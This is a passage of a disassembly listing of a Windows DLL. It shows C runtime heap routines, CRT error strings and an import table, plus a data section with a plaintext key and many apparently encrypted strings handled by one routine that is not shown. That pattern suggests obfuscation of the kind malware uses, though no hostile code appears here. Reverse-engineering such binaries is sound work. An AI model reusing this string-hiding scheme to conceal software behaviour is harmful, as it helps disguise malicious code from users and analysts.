loc_100042C5:				; CODE XREF: sub_10004129+1A8j
		cmp	ecx, eax
		jnb	short loc_100042D5
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_100042D3
		add	ecx, 8
		jmp	short loc_100042C5
; ---------------------------------------------------------------------------


loc_100042D3:				; CODE XREF: sub_10004129+1A3j
		cmp	ecx, eax


loc_100042D5:				; CODE XREF: sub_10004129+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_1000432C
; ---------------------------------------------------------------------------


loc_100042F8:				; CODE XREF: sub_10004129+F2j
		call	sub_10003E31
		test	eax, eax
		jz	short loc_1000432A
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_1000A380, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_1000432C
; ---------------------------------------------------------------------------


loc_1000432A:				; CODE XREF: sub_10004129+143j
					; sub_10004129+1D6j
		xor	eax, eax


loc_1000432C:				; CODE XREF: sub_10004129+D6j
					; sub_10004129+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10004129	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004331	proc near		; CODE XREF: sub_10004129+4Ap
					; sub_10004129+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_10004376
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_10004365
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_1000436E
; ---------------------------------------------------------------------------


loc_10004365:				; CODE XREF: sub_10004331+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_1000436E:				; CODE XREF: sub_10004331+32j
		lea	eax, [edi+8]
		jmp	loc_10004444
; ---------------------------------------------------------------------------


loc_10004376:				; CODE XREF: sub_10004331+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_1000437F
		mov	eax, esi


loc_1000437F:				; CODE XREF: sub_10004331+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_100043C9


loc_10004386:				; CODE XREF: sub_10004331+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_100043BC
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_10004392:				; CODE XREF: sub_10004331+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_1000439B
		inc	ebx
		inc	esi
		jmp	short loc_10004392
; ---------------------------------------------------------------------------


loc_1000439B:				; CODE XREF: sub_10004331+64j
		cmp	esi, edx
		jnb	short loc_100043ED
		cmp	eax, [ebp+var_4]
		jnz	short loc_100043A9
		mov	[ecx+4], esi
		jmp	short loc_100043B5
; ---------------------------------------------------------------------------


loc_100043A9:				; CODE XREF: sub_10004331+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_1000444E


loc_100043B5:				; CODE XREF: sub_10004331+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_100043C1
; ---------------------------------------------------------------------------


loc_100043BC:				; CODE XREF: sub_10004331+59j
		movzx	esi, bl
		add	eax, esi


loc_100043C1:				; CODE XREF: sub_10004331+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_10004386


loc_100043C9:				; CODE XREF: sub_10004331+53j
		lea	esi, [ecx+8]


loc_100043CC:				; CODE XREF: sub_10004331+EBj
					; sub_10004331+F2j
		cmp	esi, edi
		jnb	short loc_1000444E
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_1000444E
		mov	al, [esi]
		test	al, al
		jnz	short loc_1000441E
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_100043E4:				; CODE XREF: sub_10004331+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_1000440E
		inc	ebx
		inc	eax
		jmp	short loc_100043E4
; ---------------------------------------------------------------------------


loc_100043ED:				; CODE XREF: sub_10004331+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_100043FE
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_10004407
; ---------------------------------------------------------------------------


loc_100043FE:				; CODE XREF: sub_10004331+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_10004407:				; CODE XREF: sub_10004331+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_10004444
; ---------------------------------------------------------------------------


loc_1000440E:				; CODE XREF: sub_10004331+B6j
		cmp	eax, edx
		jnb	short loc_10004425
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_1000444E
		mov	esi, ebx
		jmp	short loc_100043CC
; ---------------------------------------------------------------------------


loc_1000441E:				; CODE XREF: sub_10004331+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_100043CC
; ---------------------------------------------------------------------------


loc_10004425:				; CODE XREF: sub_10004331+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_10004436
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_1000443F
; ---------------------------------------------------------------------------


loc_10004436:				; CODE XREF: sub_10004331+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_1000443F:				; CODE XREF: sub_10004331+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_10004444:				; CODE XREF: sub_10004331+40j
					; sub_10004331+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_10004450
; ---------------------------------------------------------------------------


loc_1000444E:				; CODE XREF: sub_10004331+7Ej
					; sub_10004331+9Dj ...
		xor	eax, eax


loc_10004450:				; CODE XREF: sub_10004331+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10004331	endp

; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD	"+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+"	TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO	EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_100056EF	proc near		; CODE XREF: __nh_malloc+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_1000AD78
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_10005713
		cmp	esi, dword_1000AD70
		ja	short loc_10005745
		push	esi
		call	___sbh_alloc_block
		test	eax, eax
		pop	ecx
		jz	short loc_10005745
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_10005713:				; CODE XREF: sub_100056EF+Dj
		cmp	eax, 2
		jnz	short loc_10005745
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_10005728
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_1000572B
; ---------------------------------------------------------------------------


loc_10005728:				; CODE XREF: sub_100056EF+2Fj
		push	10h
		pop	esi


loc_1000572B:				; CODE XREF: sub_100056EF+37j
		cmp	esi, dword_1000A384
		ja	short loc_10005752
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_10004129
		test	eax, eax
		pop	ecx
		jnz	short loc_10005761
		jmp	short loc_10005752
; ---------------------------------------------------------------------------


loc_10005745:				; CODE XREF: sub_100056EF+15j
					; sub_100056EF+20j ...
		test	esi, esi
		jnz	short loc_1000574C
		push	1
		pop	esi


loc_1000574C:				; CODE XREF: sub_100056EF+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_10005752:				; CODE XREF: sub_100056EF+42j
					; sub_100056EF+54j
		push	esi
		push	0
		push	dword_1000AD74
		call	ds:dword_10007010


loc_10005761:				; CODE XREF: sub_100056EF+52j
		pop	esi
		retn
sub_100056EF	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper.	PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt.	PRESS KEYPAD "+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10006108	proc near		; CODE XREF: __global_unwind2+13p
		jmp	ds:dword_10007018
sub_10006108	endp

; ---------------------------------------------------------------------------
		dw ?
		dd 3Ch dup(?)
_text		ends

; Section 2. (virtual address 00007000)
; Virtual size			: 00000800 (   2048.)
; Section size in file		: 00000800 (   2048.)
; Offset to raw	data for section: 00007000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 10007000h
dword_10007000	dd 756Ch			align 8
dword_10007008	dd 7550h						; _fast_error_exit+1Dr	...
dword_1000700C	dd 753Ch						; start+C2r ...
dword_10007010	dd 7588h						; ___sbh_heap_init+Dr ...
dword_10007014	dd 7594h						; sub_10003653+2C5r ...
dword_10007018	dd 75A0h	dword_1000701C	dd 75ACh	dword_10007020	dd 75BEh	dword_10007024	dd 75D0h	dword_10007028	dd 75DEh						; __setargv+23r ...
dword_1000702C	dd 75F4h	dword_10007030	dd 760Eh	dword_10007034	dd 761Eh	dword_10007038	dd 762Ch	dword_1000703C	dd 763Ah						; sub_10003E31+120r ...
dword_10007040	dd 7648h						; ___sbh_alloc_new_group+51r ...
dword_10007044	dd 7658h	dword_10007048	dd 7666h	dword_1000704C	dd 767Ah	dword_10007050	dd 768Eh	dword_10007054	dd 76AAh	dword_10007058	dd 76C4h	dword_1000705C	dd 76DEh						; ___crtLCMapStringA+20Dr
dword_10007060	dd 76F4h						; ___crtGetEnvironmentStringsA+E1r
dword_10007064	dd 770Ch	dword_10007068	dd 7726h	dword_1000706C	dd 7738h						; __NMSG_WRITE+143r
dword_10007070	dd 7748h						; __ioinit+166r
dword_10007074	dd 7756h	dword_10007078	dd 7762h						; _setSBUpLow+14r
dword_1000707C	dd 776Eh	dword_10007080	dd 7778h	dword_10007084	dd 7784h	dword_10007088	dd 7796h	dword_1000708C	dd 77A6h						; ___crtLCMapStringA+137r ...
dword_10007090	dd 77BCh						; ___crtLCMapStringA+A7r
dword_10007094	dd 77CCh						; ___crtLCMapStringA+14Dr ...
dword_10007098	dd 77DCh						; ___crtGetStringTypeA+8Dr
dword_1000709C	dd 77EEh						; ___crtGetStringTypeA+12Dr
		dd 2 dup(0)
dword_100070A8	dd 0FFFFFFFFh, 10002B12h, 10002B16h, 0dword_100070B8	dd 0FFFFFFFFh, 10002BA3h, 10002BA7h, 0dword_100070C8	dd 0FFFFFFFFh, 1000338Bh, 1000339Fh; char Str1[]
Str1		db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_1000343B+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_1000343B+4Fo
		align 4
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 10h
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_1000A41Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
		align 4
; char asc_100073B8[]
asc_100073B8	db 0Ah			; DATA XREF: __NMSG_WRITE+F1o
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
		db 0Ah
		db 'Program: ',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+BFo
; char Source[]
Source		db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA+Do
		align 10h
dword_10007430	dd 0							; ___crtGetStringTypeA+52o
dword_10007434	dd 0							; ___crtGetStringTypeA+39o
dword_10007438	dd 0FFFFFFFFh, 10005E7Fh, 10005E83h, 0FFFFFFFFh, 10005F33h
					; DATA XREF: ___crtLCMapStringA+5o
		dd 10005F37h
dword_10007450	dd 0FFFFFFFFh, 100060B7h, 100060BBh, 74A0h, 2 dup(0)
					; DATA XREF: ___crtGetStringTypeA+5o
		dd 755Eh, 7008h, 7498h,	2 dup(0)
		dd 757Ah, 7000h, 5 dup(0)
		dd 756Ch, 0
		dd 7550h, 753Ch, 7588h,	7594h, 75A0h, 75ACh, 75BEh, 75D0h
		dd 75DEh, 75F4h, 760Eh,	761Eh, 762Ch, 763Ah, 7648h, 7658h
		dd 7666h, 767Ah, 768Eh,	76AAh, 76C4h, 76DEh, 76F4h, 770Ch
		dd 7726h, 7738h, 7748h,	7756h, 7762h, 776Eh, 7778h, 7784h
		dd 7796h, 77A6h, 77BCh,	77CCh, 77DCh, 77EEh, 0
		dd 6547017Fh, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 784500B9h
		dd 72507469h, 7365636Fh, 454B0073h, 4C454E52h, 642E3233h
		dd 6C6Ch, 655201EBh, 65704F67h,	79654B6Eh, 44410041h, 49504156h
		dd 642E3233h, 6C6Ch, 65480210h,	6C417061h, 636F6Ch, 65480216h
		dd 72467061h, 6565h, 745202D7h,	776E556Ch, 646E69h, 654701B7h
		dd 61745374h, 70757472h, 6F666E49h, 1100041h, 43746547h
		dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h, 72655674h
		dd 6E6F6973h, 17D0000h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db  58h	; X
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 1E9h
aGetversionexa	db 'GetVersionExA',0
		dw 214h
aHeapdestroy	db 'HeapDestroy',0
		dd 65480212h, 72437061h, 65746165h, 3830000h, 74726956h
		dd 466C6175h, 656572h, 69560381h, 61757472h, 6C6C416Ch
		dd 636Fh, 6548021Ah, 65527061h,	6F6C6C41h, 35E0063h, 6D726554h
		dd 74616E69h, 6F725065h, 73736563h, 1420000h
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 36Eh
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		dw 0F6h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db 0F7h	; 
		align 2
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 394h
aWidechartomult	db 'WideCharToMultiByte',0
		db  55h	; U
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db  57h	; W
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 324h
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470166h, 6C694674h
		dd 70795465h, 3A40065h,	74697257h, 6C694665h, 1040065h
		dd 43746547h, 666E4950h, 0FD006Fh, 41746547h, 5043h, 65470193h
		dd 4D454F74h, 5043h, 654701A0h,	6F725074h, 64644163h, 73736572h
		dd 2520000h, 64616F4Ch,	7262694Ch, 41797261h, 2750000h
aMultibytetowid	db 'MultiByteToWideChar',0
		dd 434C0244h, 5370614Dh, 6E697274h, 4167h, 434C0245h, 5370614Dh
		dd 6E697274h, 5767h, 654701BAh,	72745374h, 54676E69h, 41657079h
		dd 1BD0000h, 53746547h,	6E697274h, 70795467h, 5765h
_rdata		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 00002D80 (  11648.)
; Section size in file		: 00002D80 (  11648.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 10008000h
dword_10008000	dd 0		dword_10008004	dd 0		dword_10008008	dd 0				dd offset ___initmbctable
dword_10008010	dd 0		dword_10008014	dd 0		dword_10008018	dd 0		dword_1000801C	dd 0		dword_10008020	dd 4 dup(0)	; char aLulhelloworldc[]
aLulhelloworldc	db 'lulhelloworldcppftw',0 ; DATA XREF: sub_10001D53+17o
					; sub_10001D53+38o ...
; char dword_10008044
dword_10008044	dd 0A130B2F6h, 9F70897Fh, 52h					; sub_10001D53+25o ...
; char dword_10008050
dword_10008050	dd 0A326A3F3h, 0C127CB76h, 0DB43B110h, 0					; sub_10001D53+46o
; char Dest[]
Dest		db 'ί&fxR@',0     ; DATA XREF: sub_10001D53+7Do
					; sub_10001D53+90o ...
		align 10h
; char aPFXR[]
aPFXR@U		db 'ί&fxR@ԓ',0   ; DATA XREF: sub_10001D53+9Eo
					; sub_10001D53+B1o ...
		align 10h
; char aGAAqUf[]
aGAAqUf		db 'ߣ |a[F۳'      ; DATA XREF: sub_10001D53+C3o
					; sub_10001D53+D6o ...
		db 0FAh, 85h, 6Dh
		dd 6DA6h
; char asc_10008094[]
asc_10008094	db '±'                 ; DATA XREF: sub_10001D53+E4o
					; sub_10001D53+F7o ...
		dw 0A301h
		dd 0A564C67Eh, 0F858B057h, 6381E7B0h, 3CAE45B7h, 0
; char a1i_Vb_zv[]
a1i_Vb_zv	db '޴1_v_V',0      ; DATA XREF: sub_10001D53+105o
					; sub_10001D53+118o ...
; char a1mgDbqJE[]
a1mgDbqJE	db '۴1gDQJĥ'      ; DATA XREF: sub_10001D53+12Ao
					; sub_10001D53+13Do ...
		db 0F5h, 2 dup(0)
; char aGSQtzc[]
aGSQtzc@VT	db 'ߣ {qZ@٢ќt',0 ; DATA XREF: sub_10001D53+14Bo
					; sub_10001D53+15Eo ...
		align 4
; char aG5icRJ[]
aG5icRJ		db 'ʣ5C{[\'        ; DATA XREF: sub_10001D53+16Co
					; sub_10001D53+17Fo ...
		db 0FAh
aLr		db 'ًr',0
		align 10h
; char aPFXvkU[]
aPFXvkU		db 'ί&fxK]Γ',0   ; DATA XREF: sub_10001D53+18Do
					; sub_10001D53+1A0o ...
		align 10h
; char aPFXglBx[]
aPFXglBx	db 'ί&fxL[ҵx',0 ; DATA XREF: sub_10001D53+1AEo
					; sub_10001D53+1C1o ...
		align 4
; char aV[]
aV		db 'ϴ=v'              ; DATA XREF: sub_10001D53+1CFo
					; sub_10001D53+1E2o ...
		db 0F7h, 66h, 9Ch
aIIoU		db ']\ěщoU',0
		align 4
; char aGSQtzc[]
aGSQtzc@VT_0	db 'ˣ {qZ@٢ќt',0 ; DATA XREF: sub_10001D53+1F0o
					; sub_10001D53+203o ...
		align 4
; char aG[]
aG@ilN		db 'ʣ',27h,'~@LN',0 ; DATA XREF: sub_10001D53+211o
					; sub_10001D53+224o ...
		align 4
; char aKVquazJ[]
aKVquazJ	db '۪;vuZJ',0      ; DATA XREF: sub_10001D53+232o
					; sub_10001D53+245o ...
; char aGAzUzECs[]
aGAzUzECs	db '̣&zu[]صїs',0 ; DATA XREF: sub_10001D53+25Fo
					; sub_10001D53+272o ...
		align 4
; char aPFXLJ[]
aPFXLJ		db 'ί&fxLJ',0      ; DATA XREF: sub_10001D53+280o
					; sub_10001D53+293o ...
; char aK1ic[]
aK1ic		db '˪1c',0            ; DATA XREF: sub_10001D53+2E3o
					; sub_10001D53+2F6o ...
		align 10h
; char aGBUqjB[]
aGBUqjB		db 'ˣ |ujB',0     ; DATA XREF: sub_10001D53+2A1o
					; sub_10001D53+2B4o ...
		align 10h
; char aGBUqjB_0[]
aGBUqjB_0	db 'ߣ |ujB',0     ; DATA XREF: sub_10001D53+2C2o
					; sub_10001D53+2D5o ...
		align 10h
; char a8oDbJ[]
a8oDbJ		db 'ʲ8|d[\'        ; DATA XREF: sub_10001D53+310o
					; sub_10001D53+323o ...
		db 0F5h
aGVe		db '҂e',0
		align 4
; char a8ivUnzjE[]
a8ivUnzjE	db 'ʲ8v{NJĥ'      ; DATA XREF: sub_10001D53+331o
					; sub_10001D53+344o ...
		db 0F6h, 91h, 66h
		dd 0B349A5h
; char a8kvWSeENonOK[]
a8kvWSeENonOK	db 'ʲ8vWS]ҥǍo{ [k' ; DATA XREF: sub_10001D53+352o
					; sub_10001D53+365o ...
		dw 8F6h
		dd 0D5107191h, 1BCFh
; char a1mgRRN[]
a1mgRRN		db '۴1gRRn',0      ; DATA XREF: sub_10001D53+37Fo
					; sub_10001D53+392o ...
; char aG5iuXc[]
aG5iuXc		db 'ʣ5Ux',0         ; DATA XREF: sub_10001D53+3A0o
					; sub_10001D53+3B3o ...
		align 10h
; char aGLzQawpj[]
aGLzQawpj	db 'ߣ zqWJ'        ; DATA XREF: sub_10001D53+3C1o
					; sub_10001D53+3D4o ...
		db 0F2h
		dd 0AEh
; char aGLzQgqA[]
aGLzQgqA	db 'ˣ zqQAó',0   ; DATA XREF: sub_10001D53+3E2o
					; sub_10001D53+3F5o ...
		align 10h
; char dword_10008220
dword_10008220	dd 0AC22A2F9h, 0C127CE63h, 0DB43B110h, 0					; sub_10001D53+67o ...
; char aGSF_J[]
aGSF_J		db 'ߣ `f_J'        ; DATA XREF: sub_10001D53+403o
					; sub_10001D53+416o ...
		db 0F6h
		align 10h
; char aG3vcZMn[]
aG3vcZMn	db 'ʣ3cz[n',0      ; DATA XREF: sub_10001D53+424o
					; sub_10001D53+437o ...
; char aG3FFkhC[]
aG3FFkhC	db 'ʣ3ffhC³'      ; DATA XREF: sub_10001D53+445o
					; sub_10001D53+458o ...
		db 0F1h, 9Ch, 41h
		align 10h
; char aG3o[]
aG3o		db 'ʣ3'               ; DATA XREF: sub_10001D53+472o
					; sub_10001D53+485o ...
		dd 9667C87Fh, 56B075h
; char aVJm[]
aVJm		db '۳&v`M]',0      ; DATA XREF: sub_10001D53+493o
					; sub_10001D53+4A6o ...
; char aIzIqL[]
aIzIqL		db ':ql',0          ; DATA XREF: sub_10001D53+4B4o
					; sub_10001D53+4C7o ...
; char aUlMa[]
aUlMa		db '#a',0           ; DATA XREF: sub_10001D53+4D5o
					; sub_10001D53+4E8o ...
		align 4
; char aIAXNASOI[]
aIAXNASOI	db '۩:axnAҺoI' ; DATA XREF: sub_10001D53+5CEo
					; sub_10001D53+5E1o ...
		db 11h
		dd 39DA5F56h, 0CE26639Dh, 0A84C11E5h, 96645E6Ah, 0
; char aG1[]
aG1		db 'ڣ1',0             ; DATA XREF: sub_10001D53+5EFo
					; sub_10001D53+602o
		align 4
; char aKPrUqrL[]
aKPrUqrL	db 'ߪ;rURL',0      ; DATA XREF: sub_10001D53+559o
					; sub_10001D53+56Co
; char aKPrRb[]
aKPrRb		db 'ߪ;rR[',0       ; DATA XREF: sub_10001D53+538o
					; sub_10001D53+54Bo
		align 10h
; char aGBrLz[]
aGBrLz@		db 'ˣ r`L@',0     ; DATA XREF: sub_10001D53+586o
					; sub_10001D53+599o ...
		align 10h
; char aGBrLz[]
aGBrLz@_0	db 'ߣ r`L@',0     ; DATA XREF: sub_10001D53+5A7o
					; sub_10001D53+5BAo ...
		align 10h
; char aI5i_Vb_zv[]
aI5i_Vb_zv	db 'ԩ5_v_V'        ; DATA XREF: sub_10001D53+4F6o
					; sub_10001D53+509o ...
		db 0F6h
		align 10h
; char aGAAqAnBa[]
